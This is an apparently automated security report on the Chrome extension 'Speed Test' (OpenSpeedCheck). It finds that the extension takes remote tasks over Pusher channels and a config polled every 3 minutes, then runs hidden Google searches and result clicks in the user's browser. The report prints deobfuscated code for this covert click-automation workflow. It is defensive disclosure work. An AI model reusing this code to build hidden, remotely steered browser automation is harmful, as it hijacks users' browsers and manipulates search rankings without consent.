Is Speed Test safe?

Critical risk

OpenSpeedCheck is critical risk. Speed Test opens a Pusher connection via refresh.openspeedcheck.com, subscribing to per-user task channels. Tasks open a pinned Google tab, search given keywords, click by probability, follow deep links. Code-backed, not packet-captured.…

OpenSpeedCheckv1.3.10Chrome Web Store
97Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote task server can drive Google search automation

Speed Test opens a Pusher connection via refresh.openspeedcheck.com, subscribing to per-user task channels.

Tasks open a pinned Google tab, search given keywords, click by probability, follow deep links.

Code-backed, not packet-captured.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-940
Source
Dynamic sandbox
What actually happens
You did this

You open Google Trends while Speed Test is installed.

The manifest injects the Speed Test content script on trends.google.com pages.

The extension did this

The extension joins private task channels and can run remote-provided Google search and click tasks.

The task fields are forwarded from the content script to the background worker and then into the Google-page automation script.

Task and identity fields used by the workflow
  • Your extension user ID
    a8f3d21c9b70-openspeedcheck (illustrative format)

    This lets the remote service send tasks to a channel tied to your browser profile.

  • Extension version and source
    version 1.3.10, source speedtest, new UI true

    This tells the service which Speed Test build and UI mode are active in your browser.

  • Search keyword
    Top Entertainment & Media Trends of 2025

    This is the phrase the extension can enter into Google on your device.

  • Target URL
    https://meetglimpse.com/trends/entertainment-media-trends/

    This is the destination the extension compares against search results before deciding what to click.

  • Click rules
    probClick 0.6, timeOnPageAvg 30, shouldDeepClick false

    These values control how likely the extension is to click a result and how long it waits on pages.

  • Navigation history for the task
    click on result 3 from Google page 1 (illustrative format)

    This records what the automation has already clicked so later task steps can avoid or repeat pages.

Captured request
POSThttps://refresh.openspeedcheck.com/api/seasonality_data/pandora/user/auth

The request body and response were not captured during dynamic analysis.

The code that does this

Pusher channels receive task events and forward them to the background worker

Readable version

Readable content script connection and event binding

content-scripts/speedtest.js
async function i() {  var _;  const c = await Hi();  if (!Ge.value || !c || !er()) return;  (_ = e.value) == null || _.disconnect(), e.value = new Yc("9c76e82799d0b07e4f22", {    authEndpoint: "https://refresh.openspeedcheck.com/api/seasonality_data/pandora/user/auth",    cluster: "mt1"  });  const h = e.value.subscribe(`private-channel-${Ge.value}`),    d = e.value.subscribe(`private-search-tasks-${Ge.value}`);  d.bind("pusher:subscription_succeeded", () => {    d.bind("create-task", async m => {      await Se.runtime.sendMessage({        type: "upsert-search-task",        data: m      })    }), d.bind("create-tasks-batch", async m => {      await Se.runtime.sendMessage({        type: "upsert-batch-search-tasks",        data: m      })    }), d.bind("update-task", async m => {      await Se.runtime.sendMessage({        type: "upsert-search-task",        data: m      })    }), d.bind("cancel-task", async m => {      await Se.runtime.sendMessage({        type: "cancel-search-task",        data: m      })    })  }), h.bind("pusher:subscription_succeeded", () => {    s(), h.bind("task", async m => {      try {        const S = er() === "new",          {            data: E,            user_type: w          } = await Zc(m, S);        await zc({          task_id: m.task_id,          data: E,          user_type: w        }, S)      } catch (S) {        try {          await Bc(m, S == null ? void 0 : S.message)        } catch {}      }    }), h.bind("terminate", () => {      l()    })  })}
The code that does this

Background and page scripts turn remote task fields into Google searches and clicks

Readable version

Readable background worker starts a task in the pinned Google tab

background.js
async startTask(e) {  try {    const r = await ve();    if (r === null) throw new Error("No leader tab found");    this.activeTasks.set(e.taskId, r), this.attachTabListener(r, e), await y.tabs.update(r, {      url: "https://www.google.com/",      active: !1    })  } catch (r) {    throw r  }}async onTabReady(e, r) {  try {    try {      await Promise.race([y.tabs.sendMessage(e, {        type: "check-if-has-simulator-script"      }), new Promise((s, a) => Zt(a, 500))]), await y.tabs.sendMessage(e, {        type: "restart-speedtest-simulation",        task: {          taskId: r.taskId,          keyword: r.keyword,          targetUrl: r.targetUrl,          probClick: r.probClick ?? .8,          probReclick: r.probReclick ?? .3,          timeOnPageMultiple: r.timeOnPageMultiple ?? 1,          timeOnPageAvg: r.timeOnPageAvg ?? 30,          shouldDeepClick: r.shouldDeepClick ?? !1,          probabilityNextPageOnMiss: r.probabilityNextPageOnMiss ?? 0,          deepclick: r.deepclick,          navigationHistory: this.taskHistory.get(r.taskId) || [],          currentPage: this.taskPagesViewed.get(r.taskId) || 0,          clicksCounter: this.taskClicksCounters.get(r.taskId) || 0,          targetPageRankRecorded: !!this.taskTargetPageRank.get(r.taskId)        }      })    } catch {      await Promise.all([y.scripting.executeScript({        target: {          tabId: e        },        files: ["ui_google.js"]      }), y.scripting.executeScript({        target: {          tabId: e        },        files: ["speedtest_overlay.js"]      })]), await y.tabs.sendMessage(e, {        type: "start-speedtest-simulation",        task: {          taskId: r.taskId,          keyword: r.keyword,          targetUrl: r.targetUrl,          probClick: r.probClick ?? .8,          probReclick: r.probReclick ?? .3,          timeOnPageMultiple: r.timeOnPageMultiple ?? 1,          timeOnPageAvg: r.timeOnPageAvg ?? 30,          shouldDeepClick: r.shouldDeepClick ?? !1,          probabilityNextPageOnMiss: r.probabilityNextPageOnMiss ?? 0,          deepclick: r.deepclick,          navigationHistory: this.taskHistory.get(r.taskId) || [],          currentPage: this.taskPagesViewed.get(r.taskId) || 0,          clicksCounter: this.taskClicksCounters.get(r.taskId) || 0,          targetPageRankRecorded: !!this.taskTargetPageRank.get(r.taskId)        }      })    }  } catch (s) {    throw s  }}

Readable Google-page automation chooses and clicks results

ui_google.js
if (!i || !i.keyword) throw new Error("Invalid task data");r = i, m = !0;try {  await b("in-progress");  const a = M();  if ((!u || u.length === 0) && (a == null ? void 0 : a.type) !== "to_referrer") {    await x();    return  }  if (!a) return await Promise.all([C({    type: "initial_search",    data: {      searchQuery: r.keyword    }  }), F(1)]), B(r.keyword);  if (a.type === "initial_search" || a.type === "back" || a.type === "next_page") {    a.type === "back" && await v(4e3);    const l = N();    if ((a.type === "initial_search" || a.type === "next_page") && await z(l), l.length === 0) throw new Error("No search results found on the page");    const c = new Set(r.navigationHistory.filter(o => {        var h, k;        return o.type === "click" && ((h = o.data) == null ? void 0 : h.resultIndex) !== void 0 && ((k = o.data) == null ? void 0 : k.searchPage) === r.currentPage      }).map(o => o.data.resultIndex)),      g = l.findIndex(o => {        try {          return o.href && $(o.href).includes($(r.targetUrl))        } catch {          return !1        }      });    !r.targetPageRankRecorded && g !== -1 && await D(10 * (r.currentPage - 1) + g + 1);    const s = await U({      results: l,      targetIndex: g,      visitedIndices: c,      probClick: r.probClick    });    if (s === void 0 || r.clicksCounter >= f && g === -1) return g !== -1 || !await j() ? x() : S();    const d = l[s];    d.scrollIntoView({      behavior: "smooth",      block: "center"    }), await v(A(500, 1500)), await Promise.all([C({      type: "click",      url: d.href,      data: {        resultIndex: s,        targetIndex: g,        searchPage: r.currentPage      }    }), g === -1 ? I(r.clicksCounter + 1) : Promise.resolve()]), d.click();    return  }} catch (a) {  const l = a instanceof Error ? a.message : "Unknown error";  throw await b("failed", l), a}
External services involved in the task workflow
    • refresh.openspeedcheck.com

    Authenticates private Pusher channels and provides reranker configuration and task result endpoints for the Speed Test workflow.

    • ws.pusherapp.com

    Pusher WebSocket service used by the bundled Pusher client for private task-channel delivery.

    • www.google.com

    The extension opens or reuses a Google tab where the supplied keyword searches and result clicks are performed.

    • trends.google.com

    The trigger page where the Speed Test content script starts the task-channel connection.

Speed Test fetches remote click-behavior config every 3 minutes

The extension polls a remote server every 3 minutes for config controlling simulated search-engine clicks: positions to click, dwell time, and deep-link URLs to follow.

Settings apply immediately, so behavior can change without an update.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

Every three minutes after install or browser startup, the extension's background service worker fires a scheduled alarm.

The alarm is named FETCH_CONFIG and is created with periodInMinutes: 3 both on install and on startup.

The extension did this

The background script fetches a remote JSON configuration that controls how clicks are simulated in your browser.

The response is stored in chrome.storage.local and immediately governs which search-result positions get clicked, how long the browser lingers on each page, and which deep-link URLs are followed.

Captured request
GEThttps://refresh.openspeedcheck.com/api/seasonality_data/pandora/reranker/config

JSON object containing click_config (array of click probability + timing entries), deepclick (array of {name, url, click_likelihood} objects), and pin_tab_config (pinned tab behavior flags). Confirmed during dynamic analysis with HTTP 200 returned in both test sessions.

Headers
Content-Type
application/json
What's stored on your device

Holds remote-controlled click-simulation parameters, read on each results page to decide what to click and how long to stay.

Location
chrome.storage.local
Contents
{  "CLICKS_CONFIG": [    {      "time_multiplier": {        "max": 1.5,        "min": 0.8      },      "click_probability": 0.6,      "reclick_probability": {        "max": 0.3,        "min": 0.1      }    }  ],  "PINNED_TAB_CONFIG": {    "speedtest": true  },  "DEEP_CLICKS_CONFIG": [    {      "url": "/contact",      "name": "Law",      "click_likelihood": 0.7    }  ]}
When this fires

Every 3 minutes

Config is refreshed every 3 minutes on both install and startup. An additional fetch fires immediately on extension load (background.js:2893, a() call outside the alarm listener).

The code that does this

Config fetch and alarm setup, shipped vs deobfuscated

Readable version

Config GET function (deobfuscated)

background.js (line 1273)
function $t() {  return We.get("pandora/reranker/config").json()}

Alarm creation and storage write (deobfuscated)

background.js (lines 2844-2919)
y.alarms.create(e, {  periodInMinutes: 3   // FETCH_CONFIG alarm}),y.alarms.create(r, {  periodInMinutes: 1   // PING_LEADER alarm})...async function a() {  try {    const i = await $t();    i.click_config.sort((d, _) => d.position - _.position);    const g = i.click_config.map(d => ({      click_probability: d.prob_click,      reclick_probability: { min: d.prob_reclick[0], max: d.prob_reclick[1] },      time_multiplier: { min: d.time_on_page_multiple[0], max: d.time_on_page_multiple[1] }    })),    m = i.deepclick.map(d => ({      name: d.name,      url: d.url.replace(/\/$/, '').toLowerCase(),      click_likelihood: d.click_likelihood    }));    await y.storage.local.set({      CLICKS_CONFIG: g,      DEEP_CLICKS_CONFIG: m,      PINNED_TAB_CONFIG: i.pin_tab_config    })  } catch (i) {    console.error('Error fetching positions config:', i)  }}
Remote endpoint receiving config requests
    • refresh.openspeedcheck.com

    Operator config server, subdomain of openspeedcheck.com. GET every 3 minutes returns JSON controlling click probability, timing, deep-link targets, and pinned-tab behavior.

What it can do

Permissions this extension asks for, as declared in version 1.3.10. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

  • Schedule its own background tasks

    alarms

Updated 21 September 2026efbfmikjamhlinlenkkcdkbmlmhiobka